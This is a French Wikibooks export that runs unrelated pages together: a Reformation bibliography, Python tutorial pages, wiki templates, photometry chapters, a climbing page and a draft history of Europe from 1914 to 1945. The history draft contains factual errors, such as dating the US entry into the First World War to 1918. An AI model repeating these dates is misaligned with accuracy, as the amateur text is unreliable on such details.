CORNETTE (Joël), ''Chronique de la France moderne'', Sedes, 1995 * CONSTANT (Jean-Marie), ''Naissance des Etats modernes'', Belin, 2000 * MEYER (Jean), ''La France moderne'',t.3, Fayard, 1985 * ''Encyclopédie du protestantisme'',Editions du Cerf, Labor et Fides, 1995 * ''Encyclopédie Thema Larousse'', Les hommes et leur histoire,Larousse, * LEONARD (Emile), ''Histoire générale du protestantisme'', t.2, PUF, 1961 * COTTRET (Bernard), ''Calvin'', Jean-Claude Lattes, 1995 * MANNS (Peter), ''Martin Luther'', Editions du Centurion, 1983 * CALVIN ( Jean), ''Institution de la religion chrétienne'', Genève ; Paris 1888 * CROUZET (Denis), ''Les guerriers de Dieu'', Champ Vallon, 1990, 2 vol. * BEDOUELLE (Guy), ''Lefèvre d’Etaples et ses disciples'', in BSHPF ( Bulletin de la Société d’histoire du protestantisme français), t134, pp.669-672 * VIRET(Pierre), ''Journées d’études'', in BSHPF, t.144, pp 759-898 * THADDEN (Rudolph von), ''L’Europe des Réformes au temps de l’Edit de Nantes'', in BSHPF, t.144, pp 915-926 * MULLER (Franck),L’évolution de l’image de propagande à Strasbourg dans les premiers temps de la Réforme, in BSHPF, janvier 1994, pp 5-30 *LIENHARD (Marc), ''Martin Bucer, le réformateur européen'', in BSHPF, avril 1992, pp161-180 *CROUZET (Denis), ''La genèse de la Réforme française'', 1520-1562, SEDES, 1996 * VRAY (Nicole), ''Protestants de l’Ouest'', 1517-1907, Ouest-France, 1993 * CHRISTN(Olivier), ''Les Réformes,Luther, Calvin et les protestants'', Découvertes Gallimard, 1995 * BERCE (Yves - Marie), DURAND (Yves), LE FLEM (Jean-Paul), ''Les monarchies espagnole et française du milieu du XVI<sup>e</sup> siècle à 1714'', SEDES, 2000 *LECLER (Joseph), ''Histoire de la tolérance au siècle de la Réforme'', Albin Michel, 1994 * ''Mémoires de Luther'', traduites et mises en ordre par Jules Michelet, Mercure de France, 1974 * LOVY (René - Jacques), ''Les origines de la Réforme française'' – Meaux 1518-1546,Concordia, 1983 Programmation Python Introduction 5657 44614 2006-06-16T09:53:32Z Boly38 136 {{Programmation Python}} {{Programmation Python}} ==Définition du langage== Python est un langage de script de haut niveau, structuré et open source. Il est multi-paradigme et multi-usage. Développé à l'origine par Guido Van Rossum en 1993, il est, comme la plupart des applications et outils open source, maintenu par une équipe de développeurs un peu partout dans le monde. Conçu pour être [[Programmation orientée objet|orienté objet]], il n'en dispose pas moins d'outils permettant de se livrer à la [[Programmation fonctionnelle|programmation fonctionnelle]] ou [[Programmation impérative|impérative]]; c'est d'ailleurs une des raisons qui lui vaut son appellation de "langage agile". Parmi les autres raisons, citons la rapidité de développement (qualité propre aux langages interprétés), la grande quantité de modules fournis dans la distribution de base ainsi que le nombre d'interfaces disponibles avec des bibliothèques écrites en [[Programmation C|C]], [[Programmation C plus plus|C++]] ou [[Programmation Fortran|Fortran]]. Il est également apprécié pour la clarté de sa syntaxe, ce qui l'oppose au langage [[Programmation en Perl|Perl]]. == Utilisation == Comme mentionné plus haut, Python se prête à un grand nombre de tâches. La distribution de base permet, entre autre, des développements réseau, la création d'interfaces graphiques (via tcl/tk), de la programmation cgi, de traiter du [[Programmation XML|XML]], etc... Sa relative facilité d'interfaçage avec des bibliothèques écrites en d'autres langages en fait un outil de choix pour des applications de calcul scientifique. Il est également de plus en plus utilisé comme langage de prototypage. <br/>Python est aussi remarquable pour le nombre de bibliothèques accessibles via l'installation des modules appropriés. Que ce soit la connection avec une base de donnée, l'utilisation de bibliothèques d'interface graphique (wxPython, PyQt, pyGTK), la manipulation avancée de [[Programmation XML|XML]] (pyXML), le traitement d'image (Python Imaging Library), le développement de jeu vidéo (pygame), [[Programmation OpenGL|OpenGL]], la grande majorité des technologies actuelle dispose de son extension python.</p> ===Quelques exemples d'utilisation de Python=== *Le serveur d'application Zope *Administration du moteur de recherche Google *Administration des fermes de rendu de la société d'effets spéciaux ILM *l'application de dessin vectoriel Sketch *Boa constructor, outil de développement rapide d'applications wxPython< D'autres exemples sont disponibles sur [http://pythonology.org/success Python success stories (anglais)] == Plateformes == L'interpreteur Python est disponible sur de nombreux système d'exploitation parmis lesquelles ont peut citer Microsoft Windows, Linux, Unix, Mac OS. {{lienDePage|Programmation Python||Installation et utilisation}} Programmation Python Ressources externes 5658 46003 2006-06-26T22:51:42Z 86.68.250.64 /* Bibliographie */ {{Programmation Python}} Cette partie du livre ''Programmation Python'' présente les ouvrages et les sites Web ayant permis sa rédaction et permettant au lecteur de poursuivre son étude du sujet. == Bibliographie == *''Python - précis & concis'' par Mark Lutz, aux éditions O'Reilly. ISBN 2-84177-360-4 *''Apprendre à programmer avec Python'', par Gérard Swinnen, aux éditions O'Reilly. ISBN 2-84177-299-3 *''Programmation Python'', par Tarek Ziadé, aux éditions Eyrolles. ISBN 2-212-11677-2 == Site Web == *{{en}} [http://www.python.org Site officiel de Python] et son [http://wiki.python.org/moin/ wiki] *{{fr}} [http://www.afpy.org/ Association française de Python] *{{fr}} [http://wikipython.flibuste.net/moin.py/FrontPage Site collaboratif français sur Python] *{{fr}} [http://www.python-eggs.org/links.html Recueil de liens commentés] *{{fr}} [http://www.ulg.ac.be/cifen/inforef/swi/python.htm Aprendre à programmer en Python]], version librement téléchargeable (GFDL) *{{fr}} [http://lfe.developpez.com/tutoriel/python/ Tutoriel python] *{{fr}} [http://ludovic.pinelli.free.fr/Python/Python_ami.html Python est mon ami] Modèle:M 5660 23884 2005-10-22T13:30:03Z Epommate 705 Modèle permettant de créer des liens simple vers les modèles. Importer depuis Wilipédia. [[Modèle:{{{1}}}|<nowiki>{{</nowiki>{{{1}}}<nowiki>}}</nowiki>]] Modèle:LienDePage 5661 24248 2005-10-25T16:53:25Z Epommate 705 {| width=100% cellspacing=0 cellpadding=2 style="border: 1px solid black; white-space: nowrap;" | width=33% bgcolor=#ffffe0 | [[{{{1}}} {{{2}}}|Page précédente: {{{2}}}]] | width=33% bgcolor=#ffffe0 align=center | [[{{{1}}}|Sommaire]] | width=33% bgcolor=#ffffe0 align=right | [[{{{1}}} {{{3}}}|Page suivante:&nbsp;{{{3}}}]] |} Modèle:En 5662 23892 2005-10-22T13:47:35Z Epommate 705 {{Indication de langue|w:anglais|en}} Modèle:Indication de langue 5663 23891 2005-10-22T13:45:04Z Epommate 705 Import depuis Wikipédia <small style="font-size:90%; cursor: help" title="Site web en {{{1}}}"><small>(</small><b style="font-weight:bold;"><tt style="font-family:monospace">[[{{{1}}}|{{{2}}}]]</tt></b><small>)</small></small> Modèle:Fr 5664 23894 2005-10-22T13:48:17Z Epommate 705 Import depuis WP {{Indication de langue|w:français|fr}} Programmation Python Base du langage 5665 44617 2006-06-16T09:54:49Z Boly38 136 +{{Programmation Python}} -LienDePage {{Programmation Python}} Ce chapitre permet d'aborder les concepts fondamentaux du langage Python : les instructions, les blocs, les [[Programmation Python Variable|variables]] et leur [[Programmation Python Type|type]] et enfin les [[Programmation Python Opérateur|opérateurs]]. Dans ce chapitre, les types et les opérateurs sont juste abordés de manière générale; ils sont détaillés pour les types très communs (nombre et booléen). Les types complexes (fichier et chaîne de caractères) et composés (tuple, liste et dictionnaire) seront abordés dans des sections spécifiques du chapitre ''[[Programmation Python Type de données complexe|type de données complexe]]''. Mis a part la manière de traiter le bloc d'instructions, le langage Python ne possède pas de particularités comparés aux autres langages héritiers de l'[[Programmation Algol|Algol]] ([[Programmation C|C]], [[Programmation Java|Java]], [[Programmation PHP|PHP]], etc.) Ce chapitre est découpé en quatre parties : *[[Programmation Python Structure d'un programme|Structure d'un programme]]{{25}} *[[Programmation Python Variable|Variable]]{{25}} *[[Programmation Python Type|Type]]{{25}} *[[Programmation Python Opérateur|Opérateur]]{{25}} Ce chapitre est accompagné d'exercices ainsi que de leur correction : *[[Programmation Python Exercices Base du langage|Exercices sur les bases du langage]]{{25}} *[[Programmation Python Correction Exercices Base du langage|Correction des exercices]] Photographie - 05 - Notion d'étendue géométrique 5672 44356 2006-06-11T22:17:21Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} [[Image:Etendue geometrique.jpg|400px|right]] Considérons une source lumineuse &Sigma; et un récepteur S, tous deux étendus et non ponctuels, séparés par un milieu parfaitement transparent. Pour étudier la transmission de la lumière entre ces deux surfaces il faut étudier la contribution de chaque point de &Sigma; à l'éclairement de chaque point de S. Nous appellerons : * d&Sigma; et dS deux éléments de surface infiniment petits, assimilés à des portions de plan et appartenant respectivement à &Sigma; et S. * F le flux émis par &Sigma; et capté par S * dF le flux émis par d&Sigma; et capté par S * d<sup>2</sup>F le flux émis par d&Sigma; et capté par dS. * N<sub>&Sigma;</sub> et N<sub>S</sub> les normales à d&Sigma; et dS * &alpha;<sub>&Sigma;</sub> et &alpha;<sub>S</sub> les angles de la direction de propagation N<sub>&Sigma;</sub> et N<sub>S</sub> * d&Omega;<sub>&Sigma;</sub> et d&Omega;<sub>S</sub> les angles solides sous lesquels chaque élément de surface est vu depuis le centre de l'autre. * d la distance des deux surfaces élémentaires d&Sigma; et dS. Naturellement : <math>d\Omega_\Sigma = \frac{dS \cdot cos{\alpha_S}}{d^2}</math> et <math>d\Omega_S = \frac{d\Sigma \cdot cos{\alpha_\Sigma}}{d^2}</math> Par définition, l''''étendue géométrique''' du faisceau lumineux qui « relie » les deux surfaces élémentaires est la quantité : <math>d^2G = d\Sigma \cdot cos{\alpha_\Sigma} \cdot d\Omega_\Sigma = \frac{d\Sigma \cdot dS \cdot cos{\alpha_\Sigma} \cdot cos{\alpha_S}}{d^2} = dS \cdot cos{\alpha_S} \cdot d\Omega_S</math> On peut montrer que la '''luminance''' du faisceau lumineux qui va de d&Sigma; à dS s'écrit : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>L = \frac{d^2F}{d^2G}</math> |- |} La notion d'étendue géométrique est extrêmement féconde dans l'étude de nombreux systèmes optiques. [[Catégorie:Physique]] Programmation Python Tableau des mots réservés 5673 44630 2006-06-16T09:59:13Z Boly38 136 {{Programmation Python}} {{Programmation Python}} {| border="1" cellpadding="2" | | colspan="5" align="center" |'''Liste des mots réservés''' |- |width="20%"|and |width="20%"|assert |width="20%"|break |width="20%"|class |width="20%"|continue |- |def |del |elif |else |except |- |exec |finally |for |from |global |- |if |import |in |is |lambda |- |not |or |pass |print |raise |- |return |try |while |yield |&nbsp; |} ''Tableau 1 : Liste des mots réservés'' Programmation Python Liste des tableaux 5676 44629 2006-06-16T09:58:55Z Boly38 136 {{Programmation Python}} {{Programmation Python}} Liste des tableaux utilisés dans le livre [[Programmation Python]]: *[[Programmation Python Tableau des mots réservés|Tableau des mots réservés]] *[[Programmation Python Tableau des types|Tableau des types]] *[[Programmation Python Tableau des valeurs False|Tableau des valeurs False]] Modèle:Exemple 5677 24017 2005-10-23T12:32:33Z Epommate 705 <center> {|border=1 | <div style="background:#ccccff; border:1px solid #aaaaaa;"> {{{3}}} |- |''{{{1}}} : {{{2}}}'' |} </center> Wikilivres:Catégorie 5678 24021 2005-10-23T12:59:30Z Olivchem 718 Sports Escalade Terrains 5679 26043 2005-11-24T22:54:15Z Guillaumito 46 [[Terrains]] déplacé vers [[Escalade Terrains]] L'escalade est un sport qui se pratique sur trois terrains différents : - Le bloc : Il s'agit d'escalader des rochers de faible hauteur ( 2m à 8 m)sans utiliser de corde.Par contre l'utilisation d'un tapis de protection (crashpad) est fortement conseillée. Le site d'escalade de bloc le plus connu est celui de Fontainebleau. - La falaise : Il s'agit d'escalader des parois plus hautes . Il faut alors utiliser du matériel de sécurité : corde, baudrier, descendeur. - Les murs artificiels : Ils permettent de pratiquer l'escalade en toutes saisons et par temps de pluie. On peut aussi pratiquer l'escalade en terrain montagneux, mais on parle alors d'Alpinisme. Histoire de l'Europe:Chapitre 15 5681 39694 2006-04-05T20:31:26Z 84.97.237.63 /* 1919, traité de Versailles, symbole de la victoire ou de l'humiliation */ '''HISTOIRE DE L'EUROPE''' :''DE 1914 À 1945'' {{Histoire de l'Europe}} ==1914-1918, la 1er guerre mondiale== Entre le début du XXe sciècle et 1914, les pays européenns alors encore constitués en '''empire''' ont constitué des alliances en cas d'agression de l'un ou de l'autre. L'[[Alliance]] et les pays de la [[Triple Entente]]. Des rivalités opposent les peuples et les États ce qui les poussent à se détester et à s'armer(la France n'a pas encore digéré la défaite de 1870 et la perte de l'Alsace Lorraine). Cette alliance politique et militaire en cas d'attaques ne pouvaient que déboucher que sur une guerre mondiale du fait de l'extension impériale des pays européens. Cette guerre a commencé physiquement par l'assassinat de '''l'archiduc François-Ferdinand''', héritier du trône d'Autriche-Hongrie et de son épouse Sophie Chotek, duchesse de Hohenberg, à Sarajevo le '''28 juin 1914''' par Gabriel Princip. De là les alliances mise en place par le passé s'enclenchèrent, l'Autriche-Hongrie accusant la Serbie. L'Autriche posa alors un ultimatum le 28 juillet à la Serbie. La Serbie ne céda pas. L'autriche attaqua la Serbie. ===1914 : guerre de mouvement=== ::Chronologie ---- * 28 juillet : L'Autriche-Hongrie déclare la guerre à la Serbie * 31 juillet : L'Allemagne adresse un ultimatum à la France lui demandant de prendre l'engagement de ne pas soutenir la Russie si cette dernière venait à prendre la défense de la Serbie et un autre à la Russie lui demandant de prendre l'engagement de ne pas soutenir la Serbie * 1er août : L'Allemagne déclare la guerre à la Russie, suite à la réponse russe * 2 août : L'Allemagne attaque militairement le Luxembourg neutre * 2 août : L'Allemagne adresse un ultimatum à la Belgique * 3 août : La Belgique, neutre, rejette l'ultimatum allemand * 3 août : L'Allemagne déclare la guerre à la France qui avait répondu que « la France agirait conformément à ses intérêts » * 4 août : L'Allemagne attaque militairement la Belgique neutre * 4 août : Le Royaume-Uni adresse un ultimatum à l'Allemagne lui demandant de retirer ses troupes de Belgique. Le Gouvernement de Londres ne recevra aucune réponse. * le 4 août 1914, au soir, l'Allemagne est en guerre contre o la Russie (1/8) o le Luxembourg (2/8) o la France (3/8) o la Belgique o le Royaume-Uni (4/8) Cela pour soutenir un allié, l'Autriche-Hongrie, qui n'est en guerre contre aucun de ces pays. L'Autriche-Hongrie, elle, est officiellement en guerre contre un pays, la Serbie, qui n'est pas en guerre avec l'Allemagne. L'Autriche-Hongrie et la Russie n'entreront en guerre que le 6 Août 1914 (Déclaration de guerre de l'Autriche-Hongrie à la Russie du 6 août 1914). Avant la guerre, les différentes propagandes publiques ne faisaient que vanter le matériel militaire de son pays en dénigrant celui de son voisin, ainsi, ''chacun ignorait la puissance véritable de son voisin''. Cela a mis en place une certitude, la guerre ne durerait pas longtemps.Le recrutement massif eu lieu un peu partout en Europe, en plus des soldats de réserve rappellés, des divisions déplacées. [[Image:British recruits August 1914 Q53234.jpg|thumb|right|120px| recrutement britannique en août 1914]] ====Front Occidental==== Cependant, les armées une fois sur le front ont vite déchantées en voyant l'arsenal ennemis que l'on avait dit ridicule et arriéré est aussi moderne voir plus perfectionné que le sien.Par exemple, les uniformes rouge et bleu très voyant (mais idéal pour les défilés) des francais et le vert kakis des allemands. Dans un premier temps, les armées s'attaquent à la charge et au canon, le front est assez mobile, c'est '''la guerre de mouvement'''. les allemands progressent vite mais sont aussi vite repoussés. On comprend que le mouvement est impossible, on choisit alors le pillonage, l'enterrement, '''la guerre de position'''. ===fin 1914 à milieu 1917 : guerre de position=== [[Image:Going over the top 01.jpg|thumb|right|120px|guerre de tranchée et assaut]] ''Fin1914- début 1915'' La guerre de position commence dès la fin de l'année 1914 au début de l'hiver quand les fronts ne bougent plus. La Guerre des tranchées commence. On a alors comprit que l'ennemi dispose du même arsenal que soit.La guerre d'usure commence, c'est à dire qu'avec un pillonage continu ont pensent venir à bout de l'autre tranchée, cela entraine donc '''une production indutrielle importante, un suivi de troupes réguliée pour palier aux morts et aux blessés, un ravitaillement continu...LA GUERRE TOTALE''' puisque autant l'arrière que le front sont mobilisés. ---- '''1915''' ---- '''1916''' Une bataille marque l'année 1916, la bataille de Verdun.Elle fera 300 000 morts et 70% de poilus y passeront par rotation. Pourquoi attaquer Verdun, Le site de Verdun est choisi pour de multiples raisons. * C’est une position stratégique importante car elle se trouve à proximité immédiate des usines d’obus de Briey-Thionville et du complexe ferroviaire de Metz. * C’est un symbole populaire qui ne peut être abandonné à l’ennemi. De ce fait les troupes françaises préfèreront mourir sur place plutôt que de reculer. * Il est clair aussi que les Allemands mirent en œuvre leur plan d'attaque plus rapidement que les Français. Sinon, la confrontation aurait très certainement eu lieu sur la Somme ---- '''1917'''. L'horreur de la guerre et le mépris des élites russes pour les soldats contribuaient sans aucun doute à la popularité de la révolution de février, et l'influence grandissante du parti bolchevique, qui propose un arrêt immédiat de la guerre. En octobre 1917, l'Etat russe s'effondre, et le parti bolchévique conduit par [[Lénine]] prend le pouvoir, soutenu par la majorité des conseils de soldats et d'ouvriers créés pendant l'année. [[Russie]] [[Image:WWI2.jpg|thumb|left|110px|observation dans un tranchée francaise]] ===1918 : entrée en guerre des États-Unis, reprise de la guerre de mouvement=== 14 point de Wilson, la paix. Les tanks. Les Etats-Unis entrent en guerre le 4 avril 1918. Néanmoins, déjà le 8 janvier de la même année, le président américain Wilson a annoncé les 14 points portants sur les objectifs à atteindre au moment de la paix. Entre autres, il s'est prononcé pour un nouvel ordre géopolitique fondé sur le principe des nationalité, pour la fin de la diplomatie secrète et pour la création d'une Société des nations (l'idée qui est bien antérieure). L'entrée des Etats-Unis en guerre peut être interpretée également comme une réaction à l'évolution en Russie. Cette dernière s'est plongée dans une guerre civile et les bolcheviques ont signé la paix de Brets-Litovsk (le 3 mars 1918), ce qui a permit à l'Allemagne de se concentrer sur le front occidental. L'entrée des Etat-Unis en guerre est un moment décisive. Le potentiel humain et avant tout industriel qui s'est aligné aux côtés de l'Entente était immense. ==1919, traité de Versailles : une paix manquée ? ==1920 - 1933 l'entre-deux guerres== Le NSDAP (Parti national-socialiste des travailleurs allemand) à été fondé en 1919 par Anton Drexler, mais il n'était à cette époque, qu'un groupuscule. C'est en 1921, qu'Adolph Hitler fait main mise sur le parti. A son initiative sont créés les S.A. (Sturmabteilungen). En 1924 après un putch manqué, Adolph Hitler est condamné à cinq ans de prison mais sortira au bout de six mois en ayant pondu entretemps son célèbre Mein Kampf (Mon Combat). En 1925, il cré les S.S. (Schutztaffeln, sections de protection). ===1929, la crise=== L'année 1929 avait bien commencé avec la signature des accords de généve, elle marque un tournant important dans le monde car à new-york, les cours de la bourse deviennent exorbitant. Le premier krach boursier de l'histoire. [[w:Krach de 1929]] Suite à la hausse des taux d'intérêt en avril 1929, à la première stagnation des cours, le remboursement des intérêts va devenir supérieur aux gains boursiers et de nombreux investisseurs seront alors contraints de vendre leurs titres pour couvrir leurs emprunts (appels de marge), ce qui va pousser les cours à la baisse et déclencher une réaction en chaîne. C'est en septembre 1929 que les cours atteignent leur plus haut niveau historique. Ces cours si bas que les grandes entreprises connaissent alors des difficultés de trésorerie croissantes. Les plus faibles font faillite, ce qui accroît la fragilité des banques. Les épargnants paniquent et se précipitent auprès de leur banque pour retirer leur argent. Sans mécanismes de stabilisation, les banques les plus faibles sont dévastées par l'hémorragie de fonds et doivent faire faillite à leur tour : la crise devient alors une crise bancaire à partir de 1930. On assiste donc à une augementation croissante et puissante du chomage, de la précarité qui n'épargne personne. Cette ambiance favorise le NSDAP dont les scores électoraux ne cessent de progresser. En 1930, le NSDAP recueille <br> 6 400 000 suffrages et 107 représentants au Reichtag. En 1932 le parti compte 1 400 000 adhérents, 350 000 S.A. et S.S., 300 000 adhérents des Hitlerjungen (jeunesses hitleriennes). ===1933 la fin de la paix=== Élection d'hitler comme chancelier Allemand ==1933 1939, la course aux territoires== ==1940 - 1945 la seconde guerre mondiale== 1940, l'invasion de la france par la Belgique, le Luxembourg, les Pays-Bas Tentative d'invasion de l'Angleterre par voie aérienne pour précéder l'invasion par la mer 1943 : l'apogée et la chute de l'axe Italie-Allemagne-Japon. 1945 : la fin de la guerre Histoire de l'Europe:Bibliographie 5682 32337 2006-02-10T22:57:30Z 82.250.25.216 réorganisation == Livres d'histoire == === XXème Siècle === * '''Eric John Hobsbawm''' ''L'Âge des extrêmes : Le Court Vingtième Siècle, 1914-1991'', Paris, Edition Complexe, 2003, 810 p., ISBN 2870279922 * '''Jean-Baptiste Duroselle''' ''L'Europe de 1815 à nos jours'', Paris, PUF, 1996, 464 p., ISBN 2130458475 == Filmographie == * ''Charlot soldat'' de Charlie Chaplin * ''Le dictateur'' de Charlie Chaplin * ''Un long dimanche de Fiancailles'' de Jean-Pierre Jeunet * ''A l'ouest rien de nouveau'' * ''la Chute'' * ''Il faut sauver le soldat Ryan'' Steven Spielberg * ''Le jour le plus long'' * ''Le pont de la rivière Kwaï'' * ''La bataille d'Angleterre'' == Romans == * ''Les croix de bois'' de Roland Dorgelès - Roman * ''A l'ouest rien de nouveau'' de Heinrich Maria Remark Photographie - 05 - Étalons photométriques 5683 44355 2006-06-11T22:16:58Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} {{ébauche}} {| border="1" cellpadding="5" cellspacing="0" align="center" |- |Extrait d'un article de M. Pierre Fleury, Directeur honoraire de l'Institut d'Optique de Paris. In: Revue Française de l'Electricité, n° 248, 1er trimestre 1975.<br> ''L'unité d'intensité lumineuse s'est longtemps appelée bougie, du nom des sources qui la définissaient grossièrement. En 1879, Violle proposa, pour assurer une meilleure précision, l'emploi d'un bain de platine pur fondu, en train de se solidifier. Par décision internationale (1889), on lui attribua comme luminance, en direction normale, 20 bougies (dites décimales) par centimètre carré. Mais les expériences de réalisation révélèrent un manque de reproductibilité intolérable (plus de 10 %), parce que la platine réfléchissait plus ou moins la lumière du four dans lequel il était chauffé, et sur­tout parce que le métal se chargeait progressive­ment d'impuretés, notamment de silicium provenant de la réduction par une flamme hydrogénée de la silice qui l'entourait.<br> ''Aussi, bien que la définition précédente soit restée inscrite pendant cinquante ans dans la loi française, la bougie fut-elle « représentée pratiquement » par d'autres étalons. On utilisa tout d'abord, dans notre pays, la lampe Carcel à mouvement d'horlogerie, de construction spéci­fiée, consommant de l'huile de colza épurée, et ré­glée de façon à en brûler 42 grammes par heure : on lui attribuait une intensité de 9,6 bougies. D'au­tres étalons à flamme furent également en service, notamment, en Angleterre, la lampe Vernon-Harcourt au pentane, et, en Allemagne, une petite lampe à acétate d'amyle, avec une hauteur de flamme déterminée. Cette dernière définissait une bougie Hefner, valant 0,9 bougie internationale, qui fut abandonnée par la suite.''<br> ''Le réglage de ces diverses sources était délicat et leur intensité très influencée par les variations des facteurs atmosphériques: pression, température, état hygrométrique ; des formules de correction furent établies pour en tenir compte, mais leur emploi laissait encore place à de grosses incertitudes.''<br><br> Une étude approfondie des réalisations successives, des bougies au corps noir, se trouve dans ''Etalons photométriques'' par P. FLEURY. Revue d'Optique, éd. 1932. |- |} Photographie - 05 - Photomètres 5684 44354 2006-06-11T22:16:32Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} == Généralités == Même si ces termes sont souvent mal définis dans les esprits ou sous la plume des journalistes, rappelons qu'il ne faut jamais confondre la '''photométrie''', qui s'intéresse à la perception sensorielle de la lumière, et la '''radiométrie''', qui étudie les aspects énergétiques des rayonnements. La première ne connaît véritablement qu'un seul récepteur, l'œil, la seconde fait appel à d'autres systèmes de mesure tels que les cellules photoélectriques ou les capteurs de lumière. Un photomètre ne peut être considéré comme un véritable instrument de mesure que s'il fournit des résultats respectant les conditions suivantes : * deux flux lumineux égaux à un même troisième sont égaux entre eux, * la superposition de deux ou plusieurs flux lumineux donne pour le flux résultant une valeur égale à la somme des valeurs trouvées pour les flux partiels. Il existe un très grand nombre de photomètres mais on peut les rattacher, à quelques exceptions près, à l'une ou l'autre des deux familles suivantes : - les '''photomètres à identité d'aspect''' permettent d'observer simultanément deux plages éclairées par deux sources différentes et de faire en sorte, par différents procédés, qu'elles offrent à l'œil des luminances égales. Cette méthode donne de bons résultats si les lumières ont des compositions spectrales identiques ou voisines mais dans le cas contraire les résultats varient de manière incohérente d'un individu à l'autre et d'un jour à l'autre pour un même individu. - les '''photomètres à papillottement''' font alterner sur une même plage les deux lumières à comparer. Lorsque la substitution a lieu à très basse fréquence, la sensation de papillottement est due à la fois à la différence de couleurs et à la différence de luminances. À partir d'une certaine fréquence critique de substitution, les couleurs se fondent mais la sensation de papillottement due à la différence de luminance persiste. En augmentant encore la fréquence, on atteint une seconde valeur critique au-delà de laquelle tout papillottement disparaît. Entre ces deux valeurs critiques '''Le photomètre à papillottement doit être considéré comme le seul appareil satisfaisant pour la photométrie hétérochrome''', à deux réserves près : - Phénomène de Purkinje : la sensibilité maximale de l'œil se déplace vers les courtes longueurs d'onde en faible lumière, ce phénomène disparaissant pour des éclairements supérieurs à 10 lux. - Phénomène de Macé de l'Épinay et Nicati (1883) : la répartition non uniforme des cellules visuelles fait varier la sensibilité de la rétine aux di­verses radiations selon le diamètre de la tache observée. Il devient négligeable si l'angle du champ visuel est inférieur à 2°. Une diminution de l'éclairement ou une augmentation du champ augmen­tent la sensibilité au bleu. Pratiquement on devra donc respecter les conditions indiquées, c'est-à-dire : <center>'''Éclairement > 10 lux, champ visuel < 2°'''</center> == Photomètres à identité d'aspect == {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Photometre Bouguer-Foucault.png|120px|center]] |'''Photomètre de Bouguer-Foucault'''<br> Les deux sources, séparées par la cloison opaque AB, éclairent les deux moitiés de l'écran translucide CD ; la cloison AB est mobile et on règle sa position de façon que les deux plages éclairées soient exactement juxtaposées. L'œil de l'observateur est placé à l'extrémité du cône E, dans le prolongement de la cloison AB ; les deux sources envoient leurs rayons sur l'écran sous la même incidence. On donne le même aspect aux deux moitiés de l'écran CD en éloignant ou rapprochant de l'écran l'une des sources. |- |[[Image:Photometre Rumford.png|240px|center]] |'''Photomètre de Rumford'''<br> Il se compose d'un écran en verre dépoli E, sur lequel les deux sources produisent deux ombres d'une tige opaque A ; l'ombre a<sub>1</sub> est éclairée uniquement par la source S<sub>1</sub>, l'ombre a<sub>2</sub> par la source S<sub>2</sub> ; on rend les deux ombres identiques. On peut toujours placer les sources de façon que les ombres a<sub>1</sub> et a<sub>2</sub> soient juxtaposées. |- |[[Image:Photomètre Bunsen.png|240px|center]] |'''Photomètre de Bunsen'''<br> Les deux sources S<sub>1</sub> et S<sub>2</sub> éclairent les deux faces d'une feuille de papier AB, qui porte une tache faite avec un corps gras ; l'œil, placé en O, voit simultanément les deux miroirs m<sub>1</sub> et m<sub>2</sub>. On s'arrange pour que la tache présente, des deux côtés, le même contraste avec le reste de l'écran, c'est-à-dire ressorte de la même façon sur le fond formé par le reste de l'écran. L'éclairement est alors le même sur les deux faces. Le photomètre de Bunsen utilisé de cette façon est le type des appareils qu'on appelle photomètres à contraste. |- |[[Image:Photomètre Lummer-Brodhun.png|240px|center]] |'''Photomètre de Lummer-Brodhun'''<br> Les deux sources éclairent les deux faces d'un écran E ; la lumière diffusée par les deux faces de cet écran est réfléchie par les miroirs m<sub>1</sub> et m<sub>2</sub> et tombe sur un système de deux prismes de verre A et B. Ces deux prismes sont rectangulaires : le prisme A a sa face hypothénuse courbe mais présentant une partie plane bien polie par laquelle les deux prismes sont collés, à l'aide d'un peu de baume ayant le même indice qu'eux. La petite surface de contact laisse passer la lumière qui vient du miroir m<sub>1</sub> et ne réfléchit rien de celle qui vient de m<sub>2</sub> ; dans le reste du champ, on reçoit la lumière qui vient de m<sub>2</sub> et qui a subi la réflexion totale sur l'hypothénuse du prisme B. On vise la face hypothénuse du prisme B à l'aide d'une loupe L et on établit l'égalité d'aspect de la plage centrale avec celle qui l'entoure. Comme la symétrie peut n'être pas parfaite, on fait deux expériences, en faisant tourner tout l'appareil de 180° autour d'un axe normal à la droite qui joint les deux sources (ce qui est plus rapide que de substituer les sources l'une à l'autre) ; on prend comme mesure la moyenne des résultats obtenus. |- |} == Photomètres à papillottement == {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Photomètre Rood.png|200px|center]] |'''Photomètre de Rood'''<br> Les deux sources éclairent les deux faces d'un prisme de plâtre P ; devant le prisme se trouve une lentille cylindrique divergente L qu'un moteur électrique fait osciller de droite à gauche, à raison d'une quinzaine d'oscillations par seconde ; l'observateur, dont la position de l'œil est fixée par l'œilleton O, aperçoit alternativement les deux faces du prisme P. On fait varier l'éclairement de l'une de ces deux faces jusqu'à ce que la sensation de papillottement disparaisse. |- |[[Image:Photomètre à secteurs.jpg|200px|center]] |'''Photomètre à secteurs'''<br> On peut encore faire tourner avec une vitesse réglable, autour de son axe A, un disque D présentant des secteurs pleins et des secteurs évidés ; les pleins sont éclairés par l'une des sources, tandis que les vides laissent voir un écran fixe E éclairé par l'autre source. L'œil, placé en O, éprouve une impression de papillottement tant que les éclats du disque et de l'écran E ne sont pas égaux. |- |[[Image:Photomètre Simmance-Abbady.png|300px|center]] |'''Photomètre Simmance-Abbady'''<br> Il se compose d'un disque épais, fait d'une substance blanche, que la figure représente projeté sur deux plans rectangulaires passant par l'axe de rotation A ; les deux bases du disque sont planes, la surface latérale est composée de deux surfaces coniques se coupant suivant une courbe plane dont le plan est incliné sur l'axe de rotation ; les deux cônes correspondants auraient leurs sommets en C et C'. Les sources lumineuses sont placées de part et d'autre du disque, sur l'axe, à des distances grandes par rapport à son épaisseur. Quand le disque tourne et qu'on le regarde par la tranche, on voit alternativement l'une des surfaces coniques, éclairée par l'une des sources, et l'autre surface conique, éclairée par l'autre source, d'où l'impression de papillottement tant que les éclairements ne sont pas égaux. |- |[[Image:Photomètre d'Ives.png|240px|center]] |'''Photomètre d'Ives'''<br> Pour éviter les lignes plus ou moins nettes qui séparent les deux surfaces éclairées par les sources et produisent un papillottement mécanique pouvant être une cause d'erreur, Ives a réalisé un appareil dans lequel la transition du champ éclairé par une source au champ éclairé par l'autre se fait d'une façon insensible : les deux 